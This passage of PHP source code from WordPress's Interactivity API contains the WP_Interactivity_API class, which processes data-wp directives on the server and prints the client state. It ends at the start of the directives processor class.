 * @since 6.5.0
 */

/**
 * Class used to process the Interactivity API on the server.
 *
 * @since 6.5.0
 */
final class WP_Interactivity_API {
	/**
	 * Holds the mapping of directive attribute names to their processor methods.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private static $directive_processors = array(
		'data-wp-interactive'   => 'data_wp_interactive_processor',
		'data-wp-router-region' => 'data_wp_router_region_processor',
		'data-wp-context'       => 'data_wp_context_processor',
		'data-wp-bind'          => 'data_wp_bind_processor',
		'data-wp-class'         => 'data_wp_class_processor',
		'data-wp-style'         => 'data_wp_style_processor',
		'data-wp-text'          => 'data_wp_text_processor',
		/*
		 * `data-wp-each` needs to be processed in the last place because it moves
		 * the cursor to the end of the processed items to prevent them to be
		 * processed twice.
		 */
		'data-wp-each'          => 'data_wp_each_processor',
	);

	/**
	 * Holds the initial state of the different Interactivity API stores.
	 *
	 * This state is used during the server directive processing. Then, it is
	 * serialized and sent to the client as part of the interactivity data to be
	 * recovered during the hydration of the client interactivity stores.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $state_data = array();

	/**
	 * Holds the configuration required by the different Interactivity API stores.
	 *
	 * This configuration is serialized and sent to the client as part of the
	 * interactivity data and can be accessed by the client interactivity stores.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $config_data = array();

	/**
	 * Flag that indicates whether the `data-wp-router-region` directive has
	 * been found in the HTML and processed.
	 *
	 * The value is saved in a private property of the WP_Interactivity_API
	 * instance instead of using a static variable inside the processor
	 * function, which would hold the same value for all instances
	 * independently of whether they have processed any
	 * `data-wp-router-region` directive or not.
	 *
	 * @since 6.5.0
	 * @var bool
	 */
	private $has_processed_router_region = false;

	/**
	 * Gets and/or sets the initial state of an Interactivity API store for a
	 * given namespace.
	 *
	 * If state for that store namespace already exists, it merges the new
	 * provided state with the existing one.
	 *
	 * @since 6.5.0
	 *
	 * @param string $store_namespace The unique store namespace identifier.
	 * @param array  $state           Optional. The array that will be merged with the existing state for the specified
	 *                                store namespace.
	 * @return array The current state for the specified store namespace. This will be the updated state if a $state
	 *               argument was provided.
	 */
	public function state( string $store_namespace, array $state = array() ): array {
		if ( ! isset( $this->state_data[ $store_namespace ] ) ) {
			$this->state_data[ $store_namespace ] = array();
		}
		if ( is_array( $state ) ) {
			$this->state_data[ $store_namespace ] = array_replace_recursive(
				$this->state_data[ $store_namespace ],
				$state
			);
		}
		return $this->state_data[ $store_namespace ];
	}

	/**
	 * Gets and/or sets the configuration of the Interactivity API for a given
	 * store namespace.
	 *
	 * If configuration for that store namespace exists, it merges the new
	 * provided configuration with the existing one.
	 *
	 * @since 6.5.0
	 *
	 * @param string $store_namespace The unique store namespace identifier.
	 * @param array  $config          Optional. The array that will be merged with the existing configuration for the
	 *                                specified store namespace.
	 * @return array The configuration for the specified store namespace. This will be the updated configuration if a
	 *               $config argument was provided.
	 */
	public function config( string $store_namespace, array $config = array() ): array {
		if ( ! isset( $this->config_data[ $store_namespace ] ) ) {
			$this->config_data[ $store_namespace ] = array();
		}
		if ( is_array( $config ) ) {
			$this->config_data[ $store_namespace ] = array_replace_recursive(
				$this->config_data[ $store_namespace ],
				$config
			);
		}
		return $this->config_data[ $store_namespace ];
	}

	/**
	 * Prints the serialized client-side interactivity data.
	 *
	 * Encodes the config and initial state into JSON and prints them inside a
	 * script tag of type "application/json". Once in the browser, the state will
	 * be parsed and used to hydrate the client-side interactivity stores and the
	 * configuration will be available using a `getConfig` utility.
	 *
	 * @since 6.5.0
	 */
	public function print_client_interactivity_data() {
		if ( empty( $this->state_data ) && empty( $this->config_data ) ) {
			return;
		}

		$interactivity_data = array();

		$config = array();
		foreach ( $this->config_data as $key => $value ) {
			if ( ! empty( $value ) ) {
				$config[ $key ] = $value;
			}
		}
		if ( ! empty( $config ) ) {
			$interactivity_data['config'] = $config;
		}

		$state = array();
		foreach ( $this->state_data as $key => $value ) {
			if ( ! empty( $value ) ) {
				$state[ $key ] = $value;
			}
		}
		if ( ! empty( $state ) ) {
			$interactivity_data['state'] = $state;
		}

		if ( ! empty( $interactivity_data ) ) {
			wp_print_inline_script_tag(
				wp_json_encode(
					$interactivity_data,
					JSON_HEX_TAG | JSON_HEX_AMP
				),
				array(
					'type' => 'application/json',
					'id'   => 'wp-interactivity-data',
				)
			);
		}
	}

	/**
	 * Registers the `@wordpress/interactivity` script modules.
	 *
	 * @since 6.5.0
	 */
	public function register_script_modules() {
		$suffix = wp_scripts_get_suffix();

		wp_register_script_module(
			'@wordpress/interactivity',
			includes_url( "js/dist/interactivity$suffix.js" )
		);

		wp_register_script_module(
			'@wordpress/interactivity-router',
			includes_url( "js/dist/interactivity-router$suffix.js" ),
			array( '@wordpress/interactivity' )
		);
	}

	/**
	 * Adds the necessary hooks for the Interactivity API.
	 *
	 * @since 6.5.0
	 */
	public function add_hooks() {
		add_action( 'wp_enqueue_scripts', array( $this, 'register_script_modules' ) );
		add_action( 'wp_footer', array( $this, 'print_client_interactivity_data' ) );
	}

	/**
	 * Processes the interactivity directives contained within the HTML content
	 * and updates the markup accordingly.
	 *
	 * @since 6.5.0
	 *
	 * @param string $html The HTML content to process.
	 * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
	 */
	public function process_directives( string $html ): string {
		if ( ! str_contains( $html, 'data-wp-' ) ) {
			return $html;
		}

		$context_stack   = array();
		$namespace_stack = array();
		$result          = $this->process_directives_args( $html, $context_stack, $namespace_stack );
		return null === $result ? $html : $result;
	}

	/**
	 * Processes the interactivity directives contained within the HTML content
	 * and updates the markup accordingly.
	 *
	 * It needs the context and namespace stacks to be passed by reference, and
	 * it returns null if the HTML contains unbalanced tags.
	 *
	 * @since 6.5.0
	 *
	 * @param string $html            The HTML content to process.
	 * @param array  $context_stack   The reference to the array used to keep track of contexts during processing.
	 * @param array  $namespace_stack The reference to the array used to manage namespaces during processing.
	 * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags.
	 */
	private function process_directives_args( string $html, array &$context_stack, array &$namespace_stack ) {
		$p          = new WP_Interactivity_API_Directives_Processor( $html );
		$tag_stack  = array();
		$unbalanced = false;

		$directive_processor_prefixes          = array_keys( self::$directive_processors );
		$directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes );

		while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
			$tag_name = $p->get_tag();

			/*
			 * Directives inside SVG and MATH tags are not processed,
			 * as they are not compatible with the Tag Processor yet.
			 * We still process the rest of the HTML.
			 */
			if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) {
				$p->skip_to_tag_closer();
				continue;
			}

			if ( $p->is_tag_closer() ) {
				list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack );

				if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) {

					/*
					 * If the tag stack is empty or the matching opening tag is not the
					 * same than the closing tag, it means the HTML is unbalanced and it
					 * stops processing it.
					 */
					$unbalanced = true;
					break;
				} else {
					// Remove the last tag from the stack.
					array_pop( $tag_stack );
				}
			} else {
				if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) {
					/*
					 * If the tag has a `data-wp-each-child` directive, jump to its closer
					 * tag because those tags have already been processed.
					 */
					$p->next_balanced_tag_closer_tag();
					continue;
				} else {
					$directives_prefixes = array();

					// Checks if there is a server directive processor registered for each directive.
					foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) {
						list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name );
						if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) {
							$directives_prefixes[] = $directive_prefix;
						}
					}

					/*
					 * If this tag will visit its closer tag, it adds it to the tag stack
					 * so it can process its closing tag and check for unbalanced tags.
					 */
					if ( $p->has_and_visits_its_closer_tag() ) {
						$tag_stack[] = array( $tag_name, $directives_prefixes );
					}
				}
			}
			/*
			 * If the matching opener tag didn't have any directives, it can skip the
			 * processing.
			 */
			if ( 0 === count( $directives_prefixes ) ) {
				continue;
			}

			// Directive processing might be different depending on if it is entering the tag or exiting it.
			$modes = array(
				'enter' => ! $p->is_tag_closer(),
				'exit'  => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(),
			);

			foreach ( $modes as $mode => $should_run ) {
				if ( ! $should_run ) {
					continue;
				}

				/*
				 * Sorts the attributes by the order of the `directives_processor` array
				 * and checks what directives are present in this element.
				 */
				$existing_directives_prefixes = array_intersect(
					'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed,
					$directives_prefixes
				);
				foreach ( $existing_directives_prefixes as $directive_prefix ) {
					$func = is_array( self::$directive_processors[ $directive_prefix ] )
						? self::$directive_processors[ $directive_prefix ]
						: array( $this, self::$directive_processors[ $directive_prefix ] );

					call_user_func_array(
						$func,
						array( $p, $mode, &$context_stack, &$namespace_stack, &$tag_stack )
					);
				}
			}
		}

		/*
		 * It returns null if the HTML is unbalanced because unbalanced HTML is
		 * not safe to process. In that case, the Interactivity API runtime will
		 * update the HTML on the client side during the hydration.
		 */
		return $unbalanced || 0 < count( $tag_stack ) ? null : $p->get_updated_html();
	}

	/**
	 * Evaluates the reference path passed to a directive based on the current
	 * store namespace, state and context.
	 *
	 * @since 6.5.0
	 *
	 * @param string|true $directive_value   The directive attribute value string or `true` when it's a boolean attribute.
	 * @param string      $default_namespace The default namespace to use if none is explicitly defined in the directive
	 *                                       value.
	 * @param array|false $context           The current context for evaluating the directive or false if there is no
	 *                                       context.
	 * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist.
	 */
	private function evaluate( $directive_value, string $default_namespace, $context = false ) {
		list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace );
		if ( empty( $path ) ) {
			return null;
		}

		$store = array(
			'state'   => $this->state_data[ $ns ] ?? array(),
			'context' => $context[ $ns ] ?? array(),
		);

		// Checks if the reference path is preceded by a negation operator (!).
		$should_negate_value = '!' === $path[0];
		$path                = $should_negate_value ? substr( $path, 1 ) : $path;

		// Extracts the value from the store using the reference path.
		$path_segments = explode( '.', $path );
		$current       = $store;
		foreach ( $path_segments as $path_segment ) {
			if ( isset( $current[ $path_segment ] ) ) {
				$current = $current[ $path_segment ];
			} else {
				return null;
			}
		}

		// Returns the opposite if it contains a negation operator (!).
		return $should_negate_value ? ! $current : $current;
	}

	/**
	 * Extracts the directive attribute name to separate and return the directive
	 * prefix and an optional suffix.
	 *
	 * The suffix is the string after the first double hyphen and the prefix is
	 * everything that comes before the suffix.
	 *
	 * Example:
	 *
	 *     extract_prefix_and_suffix( 'data-wp-interactive' )   => array( 'data-wp-interactive', null )
	 *     extract_prefix_and_suffix( 'data-wp-bind--src' )     => array( 'data-wp-bind', 'src' )
	 *     extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' )
	 *
	 * @since 6.5.0
	 *
	 * @param string $directive_name The directive attribute name.
	 * @return array An array containing the directive prefix and optional suffix.
	 */
	private function extract_prefix_and_suffix( string $directive_name ): array {
		return explode( '--', $directive_name, 2 );
	}

	/**
	 * Parses and extracts the namespace and reference path from the given
	 * directive attribute value.
	 *
	 * If the value doesn't contain an explicit namespace, it returns the
	 * default one. If the value contains a JSON object instead of a reference
	 * path, the function tries to parse it and return the resulting array. If
	 * the value contains strings that represent booleans ("true" and "false"),
	 * numbers ("1" and "1.2") or "null", the function also transform them to
	 * regular booleans, numbers and `null`.
	 *
	 * Example:
	 *
	 *     extract_directive_value( 'actions.foo', 'myPlugin' )                      => array( 'myPlugin', 'actions.foo' )
	 *     extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' )         => array( 'otherPlugin', 'actions.foo' )
	 *     extract_directive_value( '{ "isOpen": false }', 'myPlugin' )              => array( 'myPlugin', array( 'isOpen' => false ) )
	 *     extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) )
	 *
	 * @since 6.5.0
	 *
	 * @param string|true $directive_value   The directive attribute value. It can be `true` when it's a boolean
	 *                                       attribute.
	 * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined.
	 * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the
	 *               second item.
	 */
	private function extract_directive_value( $directive_value, $default_namespace = null ): array {
		if ( empty( $directive_value ) || is_bool( $directive_value ) ) {
			return array( $default_namespace, null );
		}

		// Replaces the value and namespace if there is a namespace in the value.
		if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) {
			list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 );
		}

		/*
		 * Tries to decode the value as a JSON object. If it fails and the value
		 * isn't `null`, it returns the value as it is. Otherwise, it returns the
		 * decoded JSON or null for the string `null`.
		 */
		$decoded_json = json_decode( $directive_value, true );
		if ( null !== $decoded_json || 'null' === $directive_value ) {
			$directive_value = $decoded_json;
		}

		return array( $default_namespace, $directive_value );
	}

	/**
	 * Transforms a kebab-case string to camelCase.
	 *
	 * @param string $str The kebab-case string to transform to camelCase.
	 * @return string The transformed camelCase string.
	 */
	private function kebab_to_camel_case( string $str ): string {
		return lcfirst(
			preg_replace_callback(
				'/(-)([a-z])/',
				function ( $matches ) {
					return strtoupper( $matches[2] );
				},
				strtolower( rtrim( $str, '-' ) )
			)
		);
	}

	/**
	 * Processes the `data-wp-interactive` directive.
	 *
	 * It adds the default store namespace defined in the directive value to the
	 * stack so that it's available for the nested interactivity elements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		// When exiting tags, it removes the last namespace from the stack.
		if ( 'exit' === $mode ) {
			array_pop( $namespace_stack );
			return;
		}

		// Tries to decode the `data-wp-interactive` attribute value.
		$attribute_value = $p->get_attribute( 'data-wp-interactive' );

		/*
		 * Pushes the newly defined namespace or the current one if the
		 * `data-wp-interactive` definition was invalid or does not contain a
		 * namespace. It does so because the function pops out the current namespace
		 * from the stack whenever it finds a `data-wp-interactive`'s closing tag,
		 * independently of whether the previous `data-wp-interactive` definition
		 * contained a valid namespace.
		 */
		$new_namespace = null;
		if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) {
			$decoded_json = json_decode( $attribute_value, true );
			if ( is_array( $decoded_json ) ) {
				$new_namespace = $decoded_json['namespace'] ?? null;
			} else {
				$new_namespace = $attribute_value;
			}
		}
		$namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) )
			? $new_namespace
			: end( $namespace_stack );
	}

	/**
	 * Processes the `data-wp-context` directive.
	 *
	 * It adds the context defined in the directive value to the stack so that
	 * it's available for the nested interactivity elements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		// When exiting tags, it removes the last context from the stack.
		if ( 'exit' === $mode ) {
			array_pop( $context_stack );
			return;
		}

		$attribute_value = $p->get_attribute( 'data-wp-context' );
		$namespace_value = end( $namespace_stack );

		// Separates the namespace from the context JSON object.
		list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value )
			? $this->extract_directive_value( $attribute_value, $namespace_value )
			: array( $namespace_value, null );

		/*
		 * If there is a namespace, it adds a new context to the stack merging the
		 * previous context with the new one.
		 */
		if ( is_string( $namespace_value ) ) {
			$context_stack[] = array_replace_recursive(
				end( $context_stack ) !== false ? end( $context_stack ) : array(),
				array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() )
			);
		} else {
			/*
			 * If there is no namespace, it pushes the current context to the stack.
			 * It needs to do so because the function pops out the current context
			 * from the stack whenever it finds a `data-wp-context`'s closing tag.
			 */
			$context_stack[] = end( $context_stack );
		}
	}

	/**
	 * Processes the `data-wp-bind` directive.
	 *
	 * It updates or removes the bound attributes based on the evaluation of its
	 * associated reference.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		if ( 'enter' === $mode ) {
			$all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' );

			foreach ( $all_bind_directives as $attribute_name ) {
				list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $bound_attribute ) ) {
					return;
				}

				$attribute_value = $p->get_attribute( $attribute_name );
				$result          = $this->evaluate( $attribute_value, end( $namespace_stack ), end( $context_stack ) );

				if (
					null !== $result &&
					(
						false !== $result ||
						( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
					)
				) {
					/*
					 * If the result of the evaluation is a boolean and the attribute is
					 * `aria-` or `data-, convert it to a string "true" or "false". It
					 * follows the exact same logic as Preact because it needs to
					 * replicate what Preact will later do in the client:
					 * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136
					 */
					if (
						is_bool( $result ) &&
						( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
					) {
						$result = $result ? 'true' : 'false';
					}
					$p->set_attribute( $bound_attribute, $result );
				} else {
					$p->remove_attribute( $bound_attribute );
				}
			}
		}
	}

	/**
	 * Processes the `data-wp-class` directive.
	 *
	 * It adds or removes CSS classes in the current HTML element based on the
	 * evaluation of its associated references.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		if ( 'enter' === $mode ) {
			$all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' );

			foreach ( $all_class_directives as $attribute_name ) {
				list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $class_name ) ) {
					return;
				}

				$attribute_value = $p->get_attribute( $attribute_name );
				$result          = $this->evaluate( $attribute_value, end( $namespace_stack ), end( $context_stack ) );

				if ( $result ) {
					$p->add_class( $class_name );
				} else {
					$p->remove_class( $class_name );
				}
			}
		}
	}

	/**
	 * Processes the `data-wp-style` directive.
	 *
	 * It updates the style attribute value of the current HTML element based on
	 * the evaluation of its associated references.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		if ( 'enter' === $mode ) {
			$all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' );

			foreach ( $all_style_attributes as $attribute_name ) {
				list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $style_property ) ) {
					continue;
				}

				$directive_attribute_value = $p->get_attribute( $attribute_name );
				$style_property_value      = $this->evaluate( $directive_attribute_value, end( $namespace_stack ), end( $context_stack ) );
				$style_attribute_value     = $p->get_attribute( 'style' );
				$style_attribute_value     = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : '';

				/*
				 * Checks first if the style property is not falsy and the style
				 * attribute value is not empty because if it is, it doesn't need to
				 * update the attribute value.
				 */
				if ( $style_property_value || $style_attribute_value ) {
					$style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value );
					/*
					 * If the style attribute value is not empty, it sets it. Otherwise,
					 * it removes it.
					 */
					if ( ! empty( $style_attribute_value ) ) {
						$p->set_attribute( 'style', $style_attribute_value );
					} else {
						$p->remove_attribute( 'style' );
					}
				}
			}
		}
	}

	/**
	 * Merges an individual style property in the `style` attribute of an HTML
	 * element, updating or removing the property when necessary.
	 *
	 * If a property is modified, the old one is removed and the new one is added
	 * at the end of the list.
	 *
	 * @since 6.5.0
	 *
	 * Example:
	 *
	 *     merge_style_property( 'color:green;', 'color', 'red' )      => 'color:red;'
	 *     merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;'
	 *     merge_style_property( 'color:green;', 'color', null )       => ''
	 *
	 * @param string            $style_attribute_value The current style attribute value.
	 * @param string            $style_property_name   The style property name to set.
	 * @param string|false|null $style_property_value  The value to set for the style property. With false, null or an
	 *                                                 empty string, it removes the style property.
	 * @return string The new style attribute value after the specified property has been added, updated or removed.
	 */
	private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string {
		$style_assignments    = explode( ';', $style_attribute_value );
		$result               = array();
		$style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null;
		$new_style_property   = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : '';

		// Generates an array with all the properties but the modified one.
		foreach ( $style_assignments as $style_assignment ) {
			if ( empty( trim( $style_assignment ) ) ) {
				continue;
			}
			list( $name, $value ) = explode( ':', $style_assignment );
			if ( trim( $name ) !== $style_property_name ) {
				$result[] = trim( $name ) . ':' . trim( $value ) . ';';
			}
		}

		// Adds the new/modified property at the end of the list.
		$result[] = $new_style_property;

		return implode( '', $result );
	}

	/**
	 * Processes the `data-wp-text` directive.
	 *
	 * It updates the inner content of the current HTML element based on the
	 * evaluation of its associated reference.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 */
	private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack ) {
		if ( 'enter' === $mode ) {
			$attribute_value = $p->get_attribute( 'data-wp-text' );
			$result          = $this->evaluate( $attribute_value, end( $namespace_stack ), end( $context_stack ) );

			/*
			 * Follows the same logic as Preact in the client and only changes the
			 * content if the value is a string or a number. Otherwise, it removes the
			 * content.
			 */
			if ( is_string( $result ) || is_numeric( $result ) ) {
				$p->set_content_between_balanced_tags( esc_html( $result ) );
			} else {
				$p->set_content_between_balanced_tags( '' );
			}
		}
	}

	/**
	 * Returns the CSS styles for animating the top loading bar in the router.
	 *
	 * @since 6.5.0
	 *
	 * @return string The CSS styles for the router's top loading bar animation.
	 */
	private function get_router_animation_styles(): string {
		return <<<CSS
			.wp-interactivity-router-loading-bar {
				position: fixed;
				top: 0;
				left: 0;
				margin: 0;
				padding: 0;
				width: 100vw;
				max-width: 100vw !important;
				height: 4px;
				background-color: #000;
				opacity: 0
			}
			.wp-interactivity-router-loading-bar.start-animation {
				animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards
			}
			.wp-interactivity-router-loading-bar.finish-animation {
				animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in
			}
			@keyframes wp-interactivity-router-loading-bar-start-animation {
				0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 }
				100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 }
			}
			@keyframes wp-interactivity-router-loading-bar-finish-animation {
				0% { opacity: 1 }
				50% { opacity: 1 }
				100% { opacity: 0 }
			}
CSS;
	}

	/**
	 * Outputs the markup for the top loading indicator and the screen reader
	 * notifications during client-side navigations.
	 *
	 * This method prints a div element representing a loading bar visible during
	 * navigation, as well as an aria-live region that can be read by screen
	 * readers to announce navigation status.
	 *
	 * @since 6.5.0
	 */
	public function print_router_loading_and_screen_reader_markup() {
		echo <<<HTML
			<div
				class="wp-interactivity-router-loading-bar"
				data-wp-interactive="core/router"
				data-wp-class--start-animation="state.navigation.hasStarted"
				data-wp-class--finish-animation="state.navigation.hasFinished"
			></div>
			<div
				class="screen-reader-text"
				aria-live="polite"
				data-wp-interactive="core/router"
				data-wp-text="state.navigation.message"
			></div>
HTML;
	}

	/**
	 * Processes the `data-wp-router-region` directive.
	 *
	 * It renders in the footer a set of HTML elements to notify users about
	 * client-side navigations. More concretely, the elements added are 1) a
	 * top loading bar to visually inform that a navigation is in progress
	 * and 2) an `aria-live` region for accessible navigation announcements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode && ! $this->has_processed_router_region ) {
			$this->has_processed_router_region = true;

			// Initialize the `core/router` store.
			$this->state(
				'core/router',
				array(
					'navigation' => array(
						'texts' => array(
							'loading' => __( 'Loading page, please wait.' ),
							'loaded'  => __( 'Page Loaded.' ),
						),
					),
				)
			);

			// Enqueues as an inline style.
			wp_register_style( 'wp-interactivity-router-animations', false );
			wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() );
			wp_enqueue_style( 'wp-interactivity-router-animations' );

			// Adds the necessary markup to the footer.
			add_action( 'wp_footer', array( $this, 'print_router_loading_and_screen_reader_markup' ) );
		}
	}

	/**
	 * Processes the `data-wp-each` directive.
	 *
	 * This directive gets an array passed as reference and iterates over it
	 * generating new content for each item based on the inner markup of the
	 * `template` tag.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $context_stack   The reference to the context stack.
	 * @param array                                     $namespace_stack The reference to the store namespace stack.
	 * @param array                                     $tag_stack       The reference to the tag stack.
	 */
	private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$context_stack, array &$namespace_stack, array &$tag_stack ) {
		if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) {
			$attribute_name   = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0];
			$extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name );
			$item_name        = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item';
			$attribute_value  = $p->get_attribute( $attribute_name );
			$result           = $this->evaluate( $attribute_value, end( $namespace_stack ), end( $context_stack ) );

			// Gets the content between the template tags and leaves the cursor in the closer tag.
			$inner_content = $p->get_content_between_balanced_template_tags();

			// Checks if there is a manual server-side directive processing.
			$template_end = 'data-wp-each: template end';
			$p->set_bookmark( $template_end );
			$p->next_tag();
			$manual_sdp = $p->get_attribute( 'data-wp-each-child' );
			$p->seek( $template_end ); // Rewinds to the template closer tag.
			$p->release_bookmark( $template_end );

			/*
			 * It doesn't process in these situations:
			 * - Manual server-side directive processing.
			 * - Empty or non-array values.
			 * - Associative arrays because those are deserialized as objects in JS.
			 * - Templates that contain top-level texts because those texts can't be
			 *   identified and removed in the client.
			 */
			if (
				$manual_sdp ||
				empty( $result ) ||
				! is_array( $result ) ||
				! array_is_list( $result ) ||
				! str_starts_with( trim( $inner_content ), '<' ) ||
				! str_ends_with( trim( $inner_content ), '>' )
			) {
				array_pop( $tag_stack );
				return;
			}

			// Extracts the namespace from the directive attribute value.
			$namespace_value         = end( $namespace_stack );
			list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value )
				? $this->extract_directive_value( $attribute_value, $namespace_value )
				: array( $namespace_value, null );

			// Processes the inner content for each item of the array.
			$processed_content = '';
			foreach ( $result as $item ) {
				// Creates a new context that includes the current item of the array.
				$context_stack[] = array_replace_recursive(
					end( $context_stack ) !== false ? end( $context_stack ) : array(),
					array( $namespace_value => array( $item_name => $item ) )
				);

				// Processes the inner content with the new context.
				$processed_item = $this->process_directives_args( $inner_content, $context_stack, $namespace_stack );

				if ( null === $processed_item ) {
					// If the HTML is unbalanced, stop processing it.
					array_pop( $context_stack );
					return;
				}

				// Adds the `data-wp-each-child` to each top-level tag.
				$i = new WP_Interactivity_API_Directives_Processor( $processed_item );
				while ( $i->next_tag() ) {
					$i->set_attribute( 'data-wp-each-child', true );
					$i->next_balanced_tag_closer_tag();
				}
				$processed_content .= $i->get_updated_html();

				// Removes the current context from the stack.
				array_pop( $context_stack );
			}

			// Appends the processed content after the tag closer of the template.
			$p->append_content_after_template_tag_closer( $processed_content );

			// Pops the last tag because it skipped the closing tag of the template tag.
			array_pop( $tag_stack );
		}
	}
}
<?php
/**
 * Interactivity API: WP_Interactivity_API_Directives_Processor class.
 *
 * @package WordPress
 * @subpackage Interactivity API
 * @since 6.5.0
 */

/**
 * Class used to iterate over the tags of an HTML string and help process the
 * directive attributes.
 *
 * @since 6.5.0
 *
 * @access private
 */
final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor {
	/**
	 * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array(
